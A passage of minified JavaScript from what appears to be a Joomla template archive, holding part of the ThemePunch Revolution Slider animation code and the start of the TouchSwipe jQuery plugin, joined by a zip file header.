r=n.data("zoomstart")==t?0:n.data("zoomstart"),i=n.data("zoomend")==t?0:n.data("zoomend");speed=n.data("speed")==t?2:n.data("speed"),easing=n.data("ease")==t?punchgs.Power2.easeInOut:n.data("ease");n.data("timeline").append(new punchgs.TweenLite.fromTo(n,speed,{force3D:"auto",scale:r},{scale:i,ease:easing}));n.data("timeline").append(new punchgs.TweenLite.fromTo(n,speed,{force3D:"auto",scale:i},{scale:r,onComplete:function(){n.data("timeline").restart()}}))}});n.find(".rs-wave").each(function(){var n=e(this);if(n.data("timeline")==t){n.data("timeline",new punchgs.TimelineLite);var i=n.data("angle")==t?10:n.data("angle"),s=n.data("radius")==t?10:n.data("radius"),o=n.data("speed")==t?-20:n.data("speed"),u=n.data("origin")==t?-20:n.data("origin");i=i*r;s=s*r;var a={a:0,ang:i,element:n,unit:s};n.data("timeline").append(new punchgs.TweenLite.fromTo(a,o,{a:360},{a:0,force3D:"auto",ease:punchgs.Linear.easeNone,onUpdate:function(){var e=a.a*(Math.PI/180);punchgs.TweenLite.to(a.element,.1,{force3D:"auto",x:Math.cos(e)*a.unit,y:a.unit*(1-Math.sin(e))})},onComplete:function(){n.data("timeline").restart()}}))}})};var W=function(n){n.find(".rs-pendulum, .rs-slideloop, .rs-pulse, .rs-wave").each(function(){var n=e(this);if(n.data("timeline")!=t){n.data("timeline").pause();n.data("timeline",null)}})};var X=function(n,r){var i=0;var s=n.find(".tp-caption"),o=r.container.find(".tp-static-layers").find(".tp-caption");e.each(o,function(e,t){s.push(t)});s.each(function(n){var s=-1;var o=e(this);if(o.hasClass("tp-static-layer")){if(o.data("startslide")==-1||o.data("startslide")=="-1")o.data("startslide",0);if(o.data("endslide")==-1||o.data("endslide")=="-1")o.data("endslide",r.slideamount);if(o.hasClass("tp-is-shown")){if(o.data("startslide")>r.next||o.data("endslide")<r.next){s=2;o.removeClass("tp-is-shown")}else{s=0}}else{s=2}}if(s!=0){W(o);if(o.find("iframe").length>0){punchgs.TweenLite.to(o.find("iframe"),.2,{autoAlpha:0});if(Q())o.find("iframe").remove();try{var u=o.find("iframe");var a=u.attr("id");var f=$f(a);f.api("pause");clearTimeout(o.data("timerplay"))}catch(l){}try{var c=o.data("player");c.stopVideo();clearTimeout(o.data("timerplay"))}catch(l){}}if(o.find("video").length>0){try{o.find("video").each(function(t){var n=e(this).parent();var r=n.attr("id");clearTimeout(n.data("timerplay"));var i=this;i.pause()})}catch(l){}}try{var h=o.data("timeline");var p=h.getLabelTime("frame99");var d=h.time();if(p>d){var v=h.getTweensOf(o);e.each(v,function(e,t){if(e!=0)t.pause()});if(o.css("opacity")!=0){var m=o.data("endspeed")==t?o.data("speed"):o.data("endspeed");if(m>i)i=m;h.play("frame99")}else h.progress(1,false)}}catch(l){}}});return i};var V=function(e,n,r,i,s){var o=e.data("timeline");var u=new punchgs.TimelineLite;var a=e;if(r.typ=="chars")a=e.data("mySplitText").chars;else if(r.typ=="words")a=e.data("mySplitText").words;else if(r.typ=="lines")a=e.data("mySplitText").lines;r.animation.ease=r.ease;if(r.animation.rotationZ!=t)r.animation.rotation=r.animation.rotationZ;r.animation.data=new Object;r.animation.data.oldx=r.animation.x;r.animation.data.oldy=r.animation.y;r.animation.x=r.animation.x*s;r.animation.y=r.animation.y*s;o.add(u.staggerTo(a,r.speed,r.animation,r.elementdelay),r.start);o.addLabel(i,r.start);e.data("timeline",o)};var $=function(e,n,r,i,s,o){var u=e.data("timeline");var a=new punchgs.TimelineLite;var f=B();var l=e.data("endspeed")==t?e.data("speed"):e.data("endspeed");f.ease=e.data("endeasing")==t?punchgs.Power1.easeInOut:e.data("endeasing");l=l/1e3;if(e.hasClass("ltr")||e.hasClass("ltl")||e.hasClass("str")||e.hasClass("stl")||e.hasClass("ltt")||e.hasClass("ltb")||e.hasClass("stt")||e.hasClass("stb")||e.hasClass("skewtoright")||e.hasClass("skewtorightshort")||e.hasClass("skewtoleft")||e.hasClass("skewtoleftshort")||e.hasClass("fadeout")||e.hasClass("randomrotateout")){if(e.hasClass("skewtoright")||e.hasClass("skewtorightshort"))f.skewX=35;else if(e.hasClass("skewtoleft")||e.hasClass("skewtoleftshort"))f.skewX=-35;if(e.hasClass("ltr")||e.hasClass("skewtoright"))f.x=n.width+60;else if(e.hasClass("ltl")||e.hasClass("skewtoleft"))f.x=0-(n.width+60);else if(e.hasClass("ltt"))f.y=0-(n.height+60);else if(e.hasClass("ltb"))f.y=n.height+60;else if(e.hasClass("str")||e.hasClass("skewtorightshort")){f.x=50;f.opacity=0}else if(e.hasClass("stl")||e.hasClass("skewtoleftshort")){f.x=-50;f.opacity=0}else if(e.hasClass("stt")){f.y=-50;f.opacity=0}else if(e.hasClass("stb")){f.y=50;f.opacity=0}else if(e.hasClass("randomrotateout")){f.x=Math.random()*n.width;f.y=Math.random()*n.height;f.scale=Math.random()*2+.3;f.rotation=Math.random()*360-180;f.opacity=0}else if(e.hasClass("fadeout")){f.opacity=0}if(e.hasClass("skewtorightshort"))f.x=270;else if(e.hasClass("skewtoleftshort"))f.x=-270;f.data=new Object;f.data.oldx=f.x;f.data.oldy=f.y;f.x=f.x*o;f.y=f.y*o;f.overwrite="auto";var c=e;var c=e;if(e.data("splitout")=="chars")c=e.data("mySplitText").chars;else if(e.data("splitout")=="words")c=e.data("mySplitText").words;else if(e.data("splitout")=="lines")c=e.data("mySplitText").lines;var h=e.data("endelementdelay")==t?0:e.data("endelementdelay");u.add(a.staggerTo(c,l,f,h),r)}else if(e.hasClass("customout")){f=j(f,e.data("customout"));var c=e;if(e.data("splitout")=="chars")c=e.data("mySplitText").chars;else if(e.data("splitout")=="words")c=e.data("mySplitText").words;else if(e.data("splitout")=="lines")c=e.data("mySplitText").lines;var h=e.data("endelementdelay")==t?0:e.data("endelementdelay");f.onStart=function(){punchgs.TweenLite.set(e,{transformPerspective:f.transformPerspective,transformOrigin:f.transformOrigin,overwrite:"auto"})};f.data=new Object;f.data.oldx=f.x;f.data.oldy=f.y;f.x=f.x*o;f.y=f.y*o;u.add(a.staggerTo(c,l,f,h),r)}else{i.delay=0;u.add(punchgs.TweenLite.to(e,l,i),r)}u.addLabel(s,r);e.data("timeline",u)};var J=function(t,n){t.children().each(function(){try{e(this).die("click")}catch(t){}try{e(this).die("mouseenter")}catch(t){}try{e(this).die("mouseleave")}catch(t){}try{e(this).unbind("hover")}catch(t){}});try{t.die("click","mouseenter","mouseleave")}catch(r){}clearInterval(n.cdint);t=null};var K=function(n,r){r.cd=0;r.loop=0;if(r.stopAfterLoops!=t&&r.stopAfterLoops>-1)r.looptogo=r.stopAfterLoops;else r.looptogo=9999999;if(r.stopAtSlide!=t&&r.stopAtSlide>-1)r.lastslidetoshow=r.stopAtSlide;else r.lastslidetoshow=999;r.stopLoop="off";if(r.looptogo==0)r.stopLoop="on";if(r.slideamount>1&&!(r.stopAfterLoops==0&&r.stopAtSlide==1)){var i=n.find(".tp-bannertimer");n.on("stoptimer",function(){var t=e(this).find(".tp-bannertimer");t.data("tween").pause();if(r.hideTimerBar=="on")t.css({visibility:"hidden"})});n.on("starttimer",function(){if(r.conthover!=1&&r.videoplaying!=true&&r.width>r.hideSliderAtLimit&&r.bannertimeronpause!=true&&r.overnav!=true)if(r.stopLoop=="on"&&r.next==r.lastslidetoshow-1||r.noloopanymore==1){r.noloopanymore=1}else{i.css({visibility:"visible"});i.data("tween").resume()}if(r.hideTimerBar=="on")i.css({visibility:"hidden"})});n.on("restarttimer",function(){var t=e(this).find(".tp-bannertimer");if(r.stopLoop=="on"&&r.next==r.lastslidetoshow-1||r.noloopanymore==1){r.noloopanymore=1}else{t.css({visibility:"visible"});t.data("tween").kill();t.data("tween",punchgs.TweenLite.fromTo(t,r.delay/1e3,{width:"0%"},{force3D:"auto",width:"100%",ease:punchgs.Linear.easeNone,onComplete:s,delay:1}))}if(r.hideTimerBar=="on")t.css({visibility:"hidden"})});n.on("nulltimer",function(){i.data("tween").pause(0);if(r.hideTimerBar=="on")i.css({visibility:"hidden"})});var s=function(){if(e("body").find(n).length==0){J(n,r);clearInterval(r.cdint)}n.trigger("revolution.slide.slideatend");if(n.data("conthover-changed")==1){r.conthover=n.data("conthover");n.data("conthover-changed",0)}r.act=r.next;r.next=r.next+1;if(r.next>n.find(">ul >li").length-1){r.next=0;r.looptogo=r.looptogo-1;if(r.looptogo<=0){r.stopLoop="on"}}if(r.stopLoop=="on"&&r.next==r.lastslidetoshow-1){n.find(".tp-bannertimer").css({visibility:"hidden"});n.trigger("revolution.slide.onstop");r.noloopanymore=1}else{i.data("tween").restart()}k(n,r)};i.data("tween",punchgs.TweenLite.fromTo(i,r.delay/1e3,{width:"0%"},{force3D:"auto",width:"100%",ease:punchgs.Linear.easeNone,onComplete:s,delay:1}));i.data("opt",r);n.hover(function(){if(r.onHoverStop=="on"&&!Q()){n.trigger("stoptimer");n.trigger("revolution.slide.onpause");var i=n.find(">ul >li:eq("+r.next+") .slotholder");i.find(".defaultimg").each(function(){var n=e(this);if(n.data("kenburn")!=t){n.data("kenburn").pause()}})}},function(){if(n.data("conthover")!=1){n.trigger("revolution.slide.onresume");n.trigger("starttimer");var i=n.find(">ul >li:eq("+r.next+") .slotholder");i.find(".defaultimg").each(function(){var n=e(this);if(n.data("kenburn")!=t){n.data("kenburn").play()}})}})}};var Q=function(){var e=["android","webos","iphone","ipad","blackberry","Android","webos",,"iPod","iPhone","iPad","Blackberry","BlackBerry"];var t=false;for(i in e){if(navigator.userAgent.split(e[i]).length>1){t=true}}return t};var G=function(e,t,n){var r=t.data("owidth");var i=t.data("oheight");if(r/i>n.width/n.height){var s=n.container.width()/r;var o=i*s;var u=o/n.container.height()*e;e=e*(100/u);u=100;e=e;return e+"% "+u+"%"+" 1"}else{var s=n.container.width()/r;var o=i*s;var u=o/n.container.height()*e;return e+"% "+u+"%"}};var Y=function(n,r,i,s){try{var o=n.find(">ul:first-child >li:eq("+r.act+")")}catch(u){var o=n.find(">ul:first-child >li:eq(1)")}r.lastslide=r.act;var a=n.find(">ul:first-child >li:eq("+r.next+")"),l=a.find(".slotholder"),c=l.data("bgposition"),h=l.data("bgpositionend"),p=l.data("zoomstart")/100,d=l.data("zoomend")/100,v=l.data("rotationstart"),m=l.data("rotationend"),g=l.data("bgfit"),y=l.data("bgfitend"),b=l.data("easeme"),w=l.data("duration")/1e3,E=100;if(g==t)g=100;if(y==t)y=100;var S=g,x=y;g=G(g,l,r);y=G(y,l,r);E=G(100,l,r);if(p==t)p=1;if(d==t)d=1;if(v==t)v=0;if(m==t)m=0;if(p<1)p=1;if(d<1)d=1;var T=new Object;T.w=parseInt(E.split(" ")[0],0),T.h=parseInt(E.split(" ")[1],0);var N=false;if(E.split(" ")[2]=="1"){N=true}l.find(".defaultimg").each(function(){var t=e(this);if(l.find(".kenburnimg").length==0)l.append('<div class="kenburnimg" style="position:absolute;z-index:1;width:100%;height:100%;top:0px;left:0px;"><img src="'+t.attr("src")+'" style="-webkit-touch-callout: none;-webkit-user-select: none;-khtml-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;position:absolute;width:'+T.w+"%;height:"+T.h+'%;"></div>');else{l.find(".kenburnimg img").css({width:T.w+"%",height:T.h+"%"})}var n=l.find(".kenburnimg img");var i=Z(r,c,g,n,N),o=Z(r,h,y,n,N);if(N){i.w=S/100;o.w=x/100}if(s){punchgs.TweenLite.set(n,{autoAlpha:0,transformPerspective:1200,transformOrigin:"0% 0%",top:0,left:0,scale:i.w,x:i.x,y:i.y});var u=i.w,a=u*n.width()-r.width,p=u*n.height()-r.height,d=Math.abs(i.x/a*100),v=Math.abs(i.y/p*100);if(p==0)v=0;if(a==0)d=0;t.data("bgposition",d+"% "+v+"%");if(!f(8))t.data("currotate",et(n));if(!f(8))t.data("curscale",T.w*u+"%  "+(T.h*u+"%"));l.find(".kenburnimg").remove()}else t.data("kenburn",punchgs.TweenLite.fromTo(n,w,{autoAlpha:1,force3D:punchgs.force3d,transformOrigin:"0% 0%",top:0,left:0,scale:i.w,x:i.x,y:i.y},{autoAlpha:1,rotationZ:m,ease:b,x:o.x,y:o.y,scale:o.w,onUpdate:function(){var e=n[0]._gsTransform.scaleX;var i=e*n.width()-r.width,s=e*n.height()-r.height,o=Math.abs(n[0]._gsTransform.x/i*100),u=Math.abs(n[0]._gsTransform.y/s*100);if(s==0)u=0;if(i==0)o=0;t.data("bgposition",o+"% "+u+"%");if(!f(8))t.data("currotate",et(n));if(!f(8))t.data("curscale",T.w*e+"%  "+(T.h*e+"%"))}}))})};var Z=function(e,t,n,r,i){var s=new Object;if(!i)s.w=parseInt(n.split(" ")[0],0)/100;else s.w=parseInt(n.split(" ")[1],0)/100;switch(t){case"left top":case"top left":s.x=0;s.y=0;break;case"center top":case"top center":s.x=((0-r.width())*s.w+parseInt(e.width,0))/2;s.y=0;break;case"top right":case"right top":s.x=(0-r.width())*s.w+parseInt(e.width,0);s.y=0;break;case"center left":case"left center":s.x=0;s.y=((0-r.height())*s.w+parseInt(e.height,0))/2;break;case"center center":s.x=((0-r.width())*s.w+parseInt(e.width,0))/2;s.y=((0-r.height())*s.w+parseInt(e.height,0))/2;break;case"center right":case"right center":s.x=(0-r.width())*s.w+parseInt(e.width,0);s.y=((0-r.height())*s.w+parseInt(e.height,0))/2;break;case"bottom left":case"left bottom":s.x=0;s.y=(0-r.height())*s.w+parseInt(e.height,0);break;case"bottom center":case"center bottom":s.x=((0-r.width())*s.w+parseInt(e.width,0))/2;s.y=(0-r.height())*s.w+parseInt(e.height,0);break;case"bottom right":case"right bottom":s.x=(0-r.width())*s.w+parseInt(e.width,0);s.y=(0-r.height())*s.w+parseInt(e.height,0);break}return s};var et=function(e){var t=e.css("-webkit-transform")||e.css("-moz-transform")||e.css("-ms-transform")||e.css("-o-transform")||e.css("transform");if(t!=="none"){var n=t.split("(")[1].split(")")[0].split(",");var r=n[0];var i=n[1];var s=Math.round(Math.atan2(i,r)*(180/Math.PI))}else{var s=0}return s<0?s+=360:s};var tt=function(n,r){try{var i=n.find(">ul:first-child >li:eq("+r.act+")")}catch(s){var i=n.find(">ul:first-child >li:eq(1)")}r.lastslide=r.act;var o=n.find(">ul:first-child >li:eq("+r.next+")");var u=i.find(".slotholder");var a=o.find(".slotholder");n.find(".defaultimg").each(function(){var n=e(this);punchgs.TweenLite.killTweensOf(n,false);punchgs.TweenLite.set(n,{scale:1,rotationZ:0});punchgs.TweenLite.killTweensOf(n.data("kenburn img"),false);if(n.data("kenburn")!=t){n.data("kenburn").pause()}if(n.data("currotate")!=t&&n.data("bgposition")!=t&&n.data("curscale")!=t)punchgs.TweenLite.set(n,{rotation:n.data("currotate"),backgroundPosition:n.data("bgposition"),backgroundSize:n.data("curscale")});if(n!=t&&n.data("kenburn img")!=t&&n.data("kenburn img").length>0)punchgs.TweenLite.set(n.data("kenburn img"),{autoAlpha:0})})};var nt=function(t,n){if(Q()&&n.parallaxDisableOnMobile=="on")return false;t.find(">ul:first-child >li").each(function(){var t=e(this);for(var r=1;r<=10;r++)t.find(".rs-parallaxlevel-"+r).each(function(){var t=e(this);t.wrap('<div style="position:absolute;top:0px;left:0px;width:100%;height:100%;z-index:'+t.css("zIndex")+'" class="tp-parallax-container" data-parallaxlevel="'+n.parallaxLevels[r-1]+'"></div>')})});if(n.parallax=="mouse"||n.parallax=="scroll+mouse"||n.parallax=="mouse+scroll"){t.mouseenter(function(e){var n=t.find(".current-sr-slide-visible");var r=t.offset().top,i=t.offset().left,s=e.pageX-i,o=e.pageY-r;n.data("enterx",s);n.data("entery",o)});t.on("mousemove.hoverdir, mouseleave.hoverdir",function(r){var i=t.find(".current-sr-slide-visible");switch(r.type){case"mousemove":var s=t.offset().top,o=t.offset().left,u=i.data("enterx"),a=i.data("entery"),f=u-(r.pageX-o),l=a-(r.pageY-s);i.find(".tp-parallax-container").each(function(){var t=e(this),r=parseInt(t.data("parallaxlevel"),0)/100,i=f*r,s=l*r;if(n.parallax=="scroll+mouse"||n.parallax=="mouse+scroll")punchgs.TweenLite.to(t,.4,{force3D:"auto",x:i,ease:punchgs.Power3.easeOut,overwrite:"all"});else punchgs.TweenLite.to(t,.4,{force3D:"auto",x:i,y:s,ease:punchgs.Power3.easeOut,overwrite:"all"})});break;case"mouseleave":i.find(".tp-parallax-container").each(function(){var t=e(this);if(n.parallax=="scroll+mouse"||n.parallax=="mouse+scroll")punchgs.TweenLite.to(t,1.5,{force3D:"auto",x:0,ease:punchgs.Power3.easeOut});else punchgs.TweenLite.to(t,1.5,{force3D:"auto",x:0,y:0,ease:punchgs.Power3.easeOut})});break}});if(Q())window.ondeviceorientation= function(n){var r=Math.round(n.beta||0),i=Math.round(n.gamma||0);var s=t.find(".current-sr-slide-visible");if(e(window).width()>e(window).height()){var o=i;i=r;r=o}var u=360/t.width()*i,a=180/t.height()*r;s.find(".tp-parallax-container").each(function(){var t=e(this),n=parseInt(t.data("parallaxlevel"),0)/100,r=u*n,i=a*n;punchgs.TweenLite.to(t,.2,{force3D:"auto",x:r,y:i,ease:punchgs.Power3.easeOut})})}}if(n.parallax=="scroll"||n.parallax=="scroll+mouse"||n.parallax=="mouse+scroll"){e(window).on("scroll",function(e){rt(t,n)})}};var rt=function(t,n){if(Q()&&n.parallaxDisableOnMobile=="on")return false;var r=t.offset().top,i=e(window).scrollTop(),s=r+t.height()/2,o=r+t.height()/2-i,u=e(window).height()/2,a=u-o;if(s<u)a=a-(u-s);var f=t.find(".current-sr-slide-visible");t.find(".tp-parallax-container").each(function(t){var n=e(this),r=parseInt(n.data("parallaxlevel"),0)/100,i=a*r;n.data("parallaxoffset",i);punchgs.TweenLite.to(n,.2,{force3D:"auto",y:i,ease:punchgs.Power3.easeOut})});if(n.parallaxBgFreeze!="on"){var l=n.parallaxLevels[0]/100,c=a*l;punchgs.TweenLite.to(t,.2,{force3D:"auto",y:c,ease:punchgs.Power3.easeOut})}};var it=function(n,r){var i=n.parent();if(r.navigationType=="thumb"||r.navsecond=="both"){i.append('<div class="tp-bullets tp-thumbs '+r.navigationStyle+'"><div class="tp-mask"><div class="tp-thumbcontainer"></div></div></div>')}var s=i.find(".tp-bullets.tp-thumbs .tp-mask .tp-thumbcontainer");var o=s.parent();o.width(r.thumbWidth*r.thumbAmount);o.height(r.thumbHeight);o.parent().width(r.thumbWidth*r.thumbAmount);o.parent().height(r.thumbHeight);n.find(">ul:first >li").each(function(e){var i=n.find(">ul:first >li:eq("+e+")");var o=i.find(".defaultimg").css("backgroundColor");if(i.data("thumb")!=t)var u=i.data("thumb");else var u=i.find("img:first").attr("src");s.append('<div class="bullet thumb" style="background-color:'+o+";position:relative;width:"+r.thumbWidth+"px;height:"+r.thumbHeight+"px;background-image:url("+u+') !important;background-size:cover;background-position:center center;"></div>');var a=s.find(".bullet:first")});var u=10;s.find(".bullet").each(function(t){var i=e(this);if(t==r.slideamount-1)i.addClass("last");if(t==0)i.addClass("first");i.width(r.thumbWidth);i.height(r.thumbHeight);if(u<i.outerWidth(true))u=i.outerWidth(true);i.click(function(){if(r.transition==0&&i.index()!=r.act){r.next=i.index();l(r,n)}})});var a=u*n.find(">ul:first >li").length;var f=s.parent().width();r.thumbWidth=u;if(f<a){e(document).mousemove(function(t){e("body").data("mousex",t.pageX)});s.parent().mouseenter(function(){var t=e(this);t.addClass("over");var r=t.offset();var i=e("body").data("mousex")-r.left;var s=t.width();var o=t.find(".bullet:first").outerWidth(true);var u=o*n.find(">ul:first >li").length;var a=u-s+15;var f=a/s;i=i-30;var l=0-i*f;if(l>0)l=0;if(l<0-u+s)l=0-u+s;ot(t,l,200)});s.parent().mousemove(function(){var t=e(this);var r=t.offset();var i=e("body").data("mousex")-r.left;var s=t.width();var o=t.find(".bullet:first").outerWidth(true);var u=o*n.find(">ul:first >li").length-1;var a=u-s+15;var f=a/s;i=i-3;if(i<6)i=0;if(i+3>s-6)i=s;var l=0-i*f;if(l>0)l=0;if(l<0-u+s)l=0-u+s;ot(t,l,0)});s.parent().mouseleave(function(){var t=e(this);t.removeClass("over");st(n)})}};var st=function(e){var t=e.parent().find(".tp-bullets.tp-thumbs .tp-mask .tp-thumbcontainer");var n=t.parent();var r=n.offset();var i=n.find(".bullet:first").outerWidth(true);var s=n.find(".bullet.selected").index()*i;var o=n.width();var i=n.find(".bullet:first").outerWidth(true);var u=i*e.find(">ul:first >li").length;var a=u-o;var f=a/o;var l=0-s;if(l>0)l=0;if(l<0-u+o)l=0-u+o;if(!n.hasClass("over")){ot(n,l,200)}};var ot=function(e,t,n){punchgs.TweenLite.to(e.find(".tp-thumbcontainer"),.2,{force3D:"auto",left:t,ease:punchgs.Power3.easeOut,overwrite:"auto"})}})(jQuery)PK!<g\.s.s,bluejoomla/js/jquery.themepunch.tools.min.jsnu&1i�

/********************************************
	-	THEMEPUNCH TOOLS Ver. 1.0     -
	 Last Update of Tools 16.04.2014
*********************************************/


/*
* @fileOverview TouchSwipe - jQuery Plugin
* @version 1.6.6
*
* @author Matt Bryson http://www.github.com/mattbryson
* @see https://github.com/mattbryson/TouchSwipe-Jquery-Plugin
* @see http://labs.skinkers.com/touchSwipe/
* @see http://plugins.jquery.com/project/touchSwipe
*
* Copyright (c) 2010 Matt Bryson
* Dual licensed under the MIT or GPL Version 2 licenses.
*
*/
(function(a){if(typeof define==="function"&&define.amd&&define.amd.jQuery){define(["jquery"],a)}else{a(jQuery)}}(function(f){var p="left",o="right",e="up",x="down",c="in",z="out",m="none",s="auto",l="swipe",t="pinch",A="tap",j="doubletap",b="longtap",y="hold",D="horizontal",u="vertical",i="all",r=10,g="start",k="move",h="end",q="cancel",a="ontouchstart" in window,v=window.navigator.msPointerEnabled&&!window.navigator.pointerEnabled,d=window.navigator.pointerEnabled||window.navigator.msPointerEnabled,B="TouchSwipe";var n={fingers:1,threshold:75,cancelThreshold:null,pinchThreshold:20,maxTimeThreshold:null,fingerReleaseThreshold:250,longTapThreshold:500,doubleTapThreshold:200,swipe:null,swipeLeft:null,swipeRight:null,swipeUp:null,swipeDown:null,swipeStatus:null,pinchIn:null,pinchOut:null,pinchStatus:null,click:null,tap:null,doubleTap:null,longTap:null,hold:null,triggerOnTouchEnd:true,triggerOnTouchLeave:false,allowPageScroll:"auto",fallbackToMouseEvents:true,excludedElements:"label, button, input, select, textarea, a, .noSwipe"};f.fn.swipe=function(G){var F=f(this),E=F.data(B);if(E&&typeof G==="string"){if(E[G]){return E[G].apply(this,Array.prototype.slice.call(arguments,1))}else{f.error("Method "+G+" does not exist on jQuery.swipe")}}else{if(!E&&(typeof G==="object"||!G)){return w.apply(this,arguments)}}return F};f.fn.swipe.defaults=n;f.fn.swipe.phases={PHASE_START:g,PHASE_MOVE:k,PHASE_END:h,PHASE_CANCEL:q};f.fn.swipe.directions={LEFT:p,RIGHT:o,UP:e,DOWN:x,IN:c,OUT:z};f.fn.swipe.pageScroll={NONE:m,HORIZONTAL:D,VERTICAL:u,AUTO:s};f.fn.swipe.fingers={ONE:1,TWO:2,THREE:3,ALL:i};function w(E){if(E&&(E.allowPageScroll===undefined&&(E.swipe!==undefined||E.swipeStatus!==undefined))){E.allowPageScroll=m}if(E.click!==undefined&&E.tap===undefined){E.tap=E.click}if(!E){E={}}E=f.extend({},f.fn.swipe.defaults,E);return this.each(function(){var G=f(this);var F=G.data(B);if(!F){F=new C(this,E);G.data(B,F)}})}function C(a4,av){var az=(a||d||!av.fallbackToMouseEvents),J=az?(d?(v?"MSPointerDown":"pointerdown"):"touchstart"):"mousedown",ay=az?(d?(v?"MSPointerMove":"pointermove"):"touchmove"):"mousemove",U=az?(d?(v?"MSPointerUp":"pointerup"):"touchend"):"mouseup",S=az?null:"mouseleave",aD=(d?(v?"MSPointerCancel":"pointercancel"):"touchcancel");var ag=0,aP=null,ab=0,a1=0,aZ=0,G=1,aq=0,aJ=0,M=null;var aR=f(a4);var Z="start";var W=0;var aQ=null;var T=0,a2=0,a5=0,ad=0,N=0;var aW=null,af=null;try{aR.bind(J,aN);aR.bind(aD,a9)}catch(ak){f.error("events not supported "+J+","+aD+" on jQuery.swipe")}this.enable=function(){aR.bind(J,aN);aR.bind(aD,a9);return aR};this.disable=function(){aK();return aR};this.destroy=function(){aK();aR.data(B,null);return aR};this.option=function(bc,bb){if(av[bc]!==undefined){if(bb===undefined){return av[bc]}else{av[bc]=bb}}else{f.error("Option "+bc+" does not exist on jQuery.swipe.options")}return null};function aN(bd){if(aB()){return}if(f(bd.target).closest(av.excludedElements,aR).length>0){return}var be=bd.originalEvent?bd.originalEvent:bd;var bc,bb=a?be.touches[0]:be;Z=g;if(a){W=be.touches.length}else{bd.preventDefault()}ag=0;aP=null;aJ=null;ab=0;a1=0;aZ=0;G=1;aq=0;aQ=aj();M=aa();R();if(!a||(W===av.fingers||av.fingers===i)||aX()){ai(0,bb);T=at();if(W==2){ai(1,be.touches[1]);a1=aZ=au(aQ[0].start,aQ[1].start)}if(av.swipeStatus||av.pinchStatus){bc=O(be,Z)}}else{bc=false}if(bc===false){Z=q;O(be,Z);return bc}else{if(av.hold){af=setTimeout(f.proxy(function(){aR.trigger("hold",[be.target]);if(av.hold){bc=av.hold.call(aR,be,be.target)}},this),av.longTapThreshold)}ao(true)}return null}function a3(be){var bh=be.originalEvent?be.originalEvent:be;if(Z===h||Z===q||am()){return}var bd,bc=a?bh.touches[0]:bh;var bf=aH(bc);a2=at();if(a){W=bh.touches.length}if(av.hold){clearTimeout(af)}Z=k;if(W==2){if(a1==0){ai(1,bh.touches[1]);a1=aZ=au(aQ[0].start,aQ[1].start)}else{aH(bh.touches[1]);aZ=au(aQ[0].end,aQ[1].end);aJ=ar(aQ[0].end,aQ[1].end)}G=a7(a1,aZ);aq=Math.abs(a1-aZ)}if((W===av.fingers||av.fingers===i)||!a||aX()){aP=aL(bf.start,bf.end);al(be,aP);ag=aS(bf.start,bf.end);ab=aM();aI(aP,ag);if(av.swipeStatus||av.pinchStatus){bd=O(bh,Z)}if(!av.triggerOnTouchEnd||av.triggerOnTouchLeave){var bb=true;if(av.triggerOnTouchLeave){var bg=aY(this);bb=E(bf.end,bg)}if(!av.triggerOnTouchEnd&&bb){Z=aC(k)}else{if(av.triggerOnTouchLeave&&!bb){Z=aC(h)}}if(Z==q||Z==h){O(bh,Z)}}}else{Z=q;O(bh,Z)}if(bd===false){Z=q;O(bh,Z)}}function L(bb){var bc=bb.originalEvent;if(a){if(bc.touches.length>0){F();return true}}if(am()){W=ad}a2=at();ab=aM();if(ba()||!an()){Z=q;O(bc,Z)}else{if(av.triggerOnTouchEnd||(av.triggerOnTouchEnd==false&&Z===k)){bb.preventDefault();Z=h;O(bc,Z)}else{if(!av.triggerOnTouchEnd&&a6()){Z=h;aF(bc,Z,A)}else{if(Z===k){Z=q;O(bc,Z)}}}}ao(false);return null}function a9(){W=0;a2=0;T=0;a1=0;aZ=0;G=1;R();ao(false)}function K(bb){var bc=bb.originalEvent;if(av.triggerOnTouchLeave){Z=aC(h);O(bc,Z)}}function aK(){aR.unbind(J,aN);aR.unbind(aD,a9);aR.unbind(ay,a3);aR.unbind(U,L);if(S){aR.unbind(S,K)}ao(false)}function aC(bf){var be=bf;var bd=aA();var bc=an();var bb=ba();if(!bd||bb){be=q}else{if(bc&&bf==k&&(!av.triggerOnTouchEnd||av.triggerOnTouchLeave)){be=h}else{if(!bc&&bf==h&&av.triggerOnTouchLeave){be=q}}}return be}function O(bd,bb){var bc=undefined;if(I()||V()){bc=aF(bd,bb,l)}else{if((P()||aX())&&bc!==false){bc=aF(bd,bb,t)}}if(aG()&&bc!==false){bc=aF(bd,bb,j)}else{if(ap()&&bc!==false){bc=aF(bd,bb,b)}else{if(ah()&&bc!==false){bc=aF(bd,bb,A)}}}if(bb===q){a9(bd)}if(bb===h){if(a){if(bd.touches.length==0){a9(bd)}}else{a9(bd)}}return bc}function aF(be,bb,bd){var bc=undefined;if(bd==l){aR.trigger("swipeStatus",[bb,aP||null,ag||0,ab||0,W,aQ]);if(av.swipeStatus){bc=av.swipeStatus.call(aR,be,bb,aP||null,ag||0,ab||0,W,aQ);if(bc===false){return false}}if(bb==h&&aV()){aR.trigger("swipe",[aP,ag,ab,W,aQ]);if(av.swipe){bc=av.swipe.call(aR,be,aP,ag,ab,W,aQ);if(bc===false){return false}}switch(aP){case p:aR.trigger("swipeLeft",[aP,ag,ab,W,aQ]);if(av.swipeLeft){bc=av.swipeLeft.call(aR,be,aP,ag,ab,W,aQ)}break;case o:aR.trigger("swipeRight",[aP,ag,ab,W,aQ]);if(av.swipeRight){bc=av.swipeRight.call(aR,be,aP,ag,ab,W,aQ)}break;case e:aR.trigger("swipeUp",[aP,ag,ab,W,aQ]);if(av.swipeUp){bc=av.swipeUp.call(aR,be,aP,ag,ab,W,aQ)}break;case x:aR.trigger("swipeDown",[aP,ag,ab,W,aQ]);if(av.swipeDown){bc=av.swipeDown.call(aR,be,aP,ag,ab,W,aQ)}break}}}if(bd==t){aR.trigger("pinchStatus",[bb,aJ||null,aq||0,ab||0,W,G,aQ]);if(av.pinchStatus){bc=av.pinchStatus.call(aR,be,bb,aJ||null,aq||0,ab||0,W,G,aQ);if(bc===false){return false}}if(bb==h&&a8()){switch(aJ){case c:aR.trigger("pinchIn",[aJ||null,aq||0,ab||0,W,G,aQ]);if(av.pinchIn){bc=av.pinchIn.call(aR,be,aJ||null,aq||0,ab||0,W,G,aQ)}break;case 